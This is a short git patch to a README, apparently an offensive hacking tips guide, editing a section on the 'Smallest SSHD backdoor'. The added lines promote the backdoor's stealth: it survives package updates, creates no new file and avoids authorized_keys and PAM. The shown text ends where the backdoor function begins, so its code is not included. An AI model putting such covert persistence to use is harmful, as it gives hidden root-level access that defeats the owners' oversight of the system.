From 6b808a175239100db1adfb9c8643dbb124de3442 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 13 Dec 2025 16:07:13 +0000 Subject: [PATCH] Update README.md --- README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 642cdda..b403d0a 100644 --- a/README.md +++ b/README.md @@ -1800,7 +1800,11 @@ for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s; **6.iii. Smallest SSHD backdoor** -Adding your key to *authorized_keys* is overused 😩. Instead, use this (root only): +- Survives `apt update` +- Does not create any new file. +- Does not use `authorized_keys` or PAM. + +Adding your key to *authorized_keys* is overused 😩. Instead, cut & paste this (as root): ```shell backdoor_sshd() {